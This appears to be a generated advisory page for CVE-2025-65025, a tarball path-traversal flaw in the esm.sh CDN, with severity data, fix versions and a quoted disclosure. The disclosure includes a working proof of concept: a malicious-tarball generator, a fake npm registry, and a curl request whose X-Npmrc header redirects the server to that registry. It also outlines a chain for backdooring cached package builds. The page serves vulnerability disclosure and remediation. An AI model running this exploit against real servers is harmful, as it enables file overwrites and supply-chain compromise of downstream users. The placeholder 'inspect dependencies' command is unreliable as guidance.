CVE-2025-65025: Github.com/esm dev/esm.sh Esm.sh CDN Service Has Arbitrary Vulnerability

HIGH
Advisory Identifier: GHSA-h3mw-4f23-gwpw
CVSS 8.2
CWE-22
Published
Advisory Summary

CVE-2025-65025 is a HIGH (CVSS 8.2) esm.sh cdn service has arbitrary vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh cdn service has arbitrary file write via tarslip. Remediation is available by upgrading affected packages to version 0.0.0-20251117232647-9d77b88c3207.

CVE-2025-65025 at a Glance

CVE Identifier CVE-2025-65025
GHSA Identifier GHSA-h3mw-4f23-gwpw
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/esm dev/esm.sh
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-65025

To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/esm-dev/esm.sh fixed: 0.0.0-20251117232647-9d77b88c3207
Upgrade github.com/esm-dev/esm.sh to 0.0.0-20251117232647-9d77b88c3207
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/esm-dev/esm.sh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-65025, inspect your project dependencies for Github.com/esm dev/esm.sh:

inspect dependencies for github.com/esm-dev/esm.sh

Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20251117232647-9d77b88c3207), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. Uploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry. By setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered. ### Details **file:** `server/npmrc.go` **line:** 552-567 ```go func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) { pkgDir := path.Join(installDir, "node_modules", pkgName) tr := tar.NewReader(unziped) for { h, err := tr.Next() // ... // Strip tarball root directory _, name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil" filename := path.Join(pkgDir, name) // ← No validation if h.Typeflag != tar.TypeReg { continue } // Extension filtering extname := path.Ext(filename) if !(extname != "" && (allowed_extensions)) { continue // Only extract .js, .css, .json, etc. } ensureDir(path.Dir(filename)) f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644) // ← File created without path validation! // ... } } ``` The code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory. ``` pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg name: ../../../../../../tmp/pyozzi.js result: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js → /tmp/pyozzi.js (path traversal) ``` ### PoC **Test On** - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server) ### Step 1. Create Malicious tarball file ```python #!/usr/bin/env python3 """ Malicious Tarball Generator for esm.sh Path Traversal Creates tarball with path traversal payloads """ import tarfile import io,os import json from datetime import datetime def create_malicious_tarball(package_name="test-tarslip"): # PoC file Content poc_payload = b"""// Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js console.log('[!!!] Path Traversal Successful!'); console.log('Package: %s'); console.log('Researcher: pyozzi'); module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: '%s' }; """ % (package_name.encode(), package_name.encode()) files = { "package/index.js": b"module.exports = { version: '1.0.0', test: true };", "package/package.json": json.dumps({ "name": package_name, "version": "1.0.0", "description": "Test package for security research", "main": "index.js", "keywords": ["test", "security", "research"], "author": "Security Researcher", "license": "MIT" }, indent=2).encode(), "package/../../../../../../../../../tmp/pyozzi.js": poc_payload, } # Create Tarball tarball_name = f"{package_name}-1.0.0.tgz" print("Creating tarball with payloads:") print() with tarfile.open(tarball_name, "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o755 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content)) print(f"File: {tarball_name}") print(f"Size: {os.path.getsize(tarball_name)} bytes") # Check Tarball Content print("Tarball contents:") with tarfile.open(tarball_name, "r:gz") as tar: for member in tar.getmembers(): marker = ">> " if "../" in member.name else " " mode = oct(member.mode)[-3:] print(f"{marker}{member.name} (mode: {mode})") if __name__ == '__main__': create_malicious_tarball() ``` **output:** ```bash $ python create_tarball.py Creating tarball with payloads: File: test-tarslip-1.0.0.tgz Size: 545 bytes Tarball contents: package/index.js (mode: 755) package/package.json (mode: 755) >> package/../../../../../../../../../tmp/pyozzi.js (mode: 755) ``` ### Step 2. Run Fake Registry Server ```python # fake-npm-registry.py from flask import Flask, jsonify, send_file app = Flask(__name__) MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER @app.route('/<package>') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} }) @app.route('/<package>/-/<filename>') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip') if __name__ == '__main__': app.run(host='0.0.0.0', port=9999) ``` ```bash python3 fake-npm-registry.py ``` ### Step 3. Request Malicious Package with X-Npmrc Header ```bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}' ``` ### Step 4. Check Path Traversal ```bash docker exec esm-test cat /tmp/pyozzi.js # ouput: // Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js console.log('[!!!] Path Traversal Successful!'); console.log('Package: test-tarslip'); console.log('Researcher: pyozzi'); module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: 'test-tarslip' }; ... ``` ### Impact This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages. **Attack Chain:** 1. Attacker identifies popular packages and their cached build file locations via API enumeration 2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`) 3. Injects malicious code into the build files 4. Any application importing these packages receives the backdoored version 5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications) **Impact Scale:** - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate ### Patch 1. Path validation is required when unpacking a tar file. 2. `X-Npmrc` whitelist logic is required.

CVE-2025-65025 Affected Github.com/esm dev/esm.sh Versions

1 component(s)
Fixed Versions:
0.0.0-20251117232647-9d77b88c3207
Product / Package Ecosystem Affected Versions Fixed Version
github.com/esm-dev/esm.sh
Go
< 0.0.0-20251117232647-9d77b88c3207
0.0.0-20251117232647-9d77b88c3207

References

Frequently Asked Questions

What is CVE-2025-65025?
CVE-2025-65025 is a security vulnerability in Github.com/esm dev/esm.sh involving esm.sh CDN service has arbitrary file write via tarslip under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/esm dev/esm.sh versions are affected?
Affected versions include releases prior to 0.0.0-20251117232647-9d77b88c3207 across affected packages: github.com/esm-dev/esm.sh.
What version fixes CVE-2025-65025?
Upgrading to 0.0.0-20251117232647-9d77b88c3207 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/esm-dev/esm.sh affected?
Yes, github.com/esm-dev/esm.sh is affected in releases prior to 0.0.0-20251117232647-9d77b88c3207. Upgrade your dependency to 0.0.0-20251117232647-9d77b88c3207 or later.
What is the CVSS score of CVE-2025-65025?
CVE-2025-65025 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2025-65025?
CVE-2025-65025 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2025-65025?
Run the dependency tree command: 'inspect dependencies for github.com/esm-dev/esm.sh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h3mw-4f23-gwpw",
  "modified" : "2025-11-27T08:29:22Z",
  "published" : "2025-11-19T20:30:00Z",
  "aliases" : [ "CVE-2025-65025" ],
  "summary" : "esm.sh CDN service has arbitrary file write via tarslip",
  "details" : "### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go`  \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n    \n    pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n    \n    tr := tar.NewReader(unziped)\n    for {\n        h, err := tr.Next()\n        // ...\n        \n        // Strip tarball root directory\n        _, name := utils.SplitByFirstByte(h.Name, '/')  // \"package/../../tmp/evil\" → \"../../tmp/evil\"\n        filename := path.Join(pkgDir, name)             // ← No validation\n        \n        if h.Typeflag != tar.TypeReg {\n            continue \n        }\n        \n        // Extension filtering\n        extname := path.Ext(filename)\n        if !(extname != \"\" && (allowed_extensions)) {\n            continue  // Only extract .js, .css, .json, etc.\n        }\n        \n        ensureDir(path.Dir(filename))\n        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n        // ← File created without path validation!\n        // ...\n    }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname:   ../../../../../../tmp/pyozzi.js\nresult:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n        → /tmp/pyozzi.js  (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n    \n    # PoC file Content\n    poc_payload = b\"\"\"// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: %s');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: '%s'\n    };\n    \"\"\" % (package_name.encode(), package_name.encode())\n    \n    files = {\n        \"package/index.js\": b\"module.exports = { version: '1.0.0', test: true };\",\n        \"package/package.json\": json.dumps({\n            \"name\": package_name,\n            \"version\": \"1.0.0\",\n            \"description\": \"Test package for security research\",\n            \"main\": \"index.js\",\n            \"keywords\": [\"test\", \"security\", \"research\"],\n            \"author\": \"Security Researcher\",\n            \"license\": \"MIT\"\n        }, indent=2).encode(),\n        \n        \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n    }\n    \n    # Create Tarball\n    \n    tarball_name = f\"{package_name}-1.0.0.tgz\"\n    \n    print(\"Creating tarball with payloads:\")\n    print()\n    \n    with tarfile.open(tarball_name, \"w:gz\") as tar:\n        for name, content in files.items():\n            info = tarfile.TarInfo(name=name)\n            info.size = len(content)\n            info.mode = 0o755\n            info.mtime = int(datetime.now().timestamp())\n            tar.addfile(info, io.BytesIO(content))\n\n    print(f\"File: {tarball_name}\")\n    print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n    # Check Tarball Content\n    print(\"Tarball contents:\")\n    with tarfile.open(tarball_name, \"r:gz\") as tar:\n        for member in tar.getmembers():\n            marker = \">> \" if \"../\" in member.name else \"   \"\n            mode = oct(member.mode)[-3:]\n            print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == '__main__':\n    create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n   package/index.js (mode: 755)\n   package/package.json (mode: 755)\n>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route('/<package>')\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route('/<package>/-/<filename>')\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H 'X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}'\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log('[!!!] Path Traversal Successful!');\n    console.log('Package: test-tarslip');\n    console.log('Researcher: pyozzi');\n\n    module.exports = {\n        poc: true,\n        vulnerability: 'CWE-22 Path Traversal',\n        package: 'test-tarslip'\n    };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20251117232647-9d77b88c3207"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-65025"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-19T20:30:00Z",
    "nvd_published_at" : "2025-11-19T18:15:49Z"
  }
}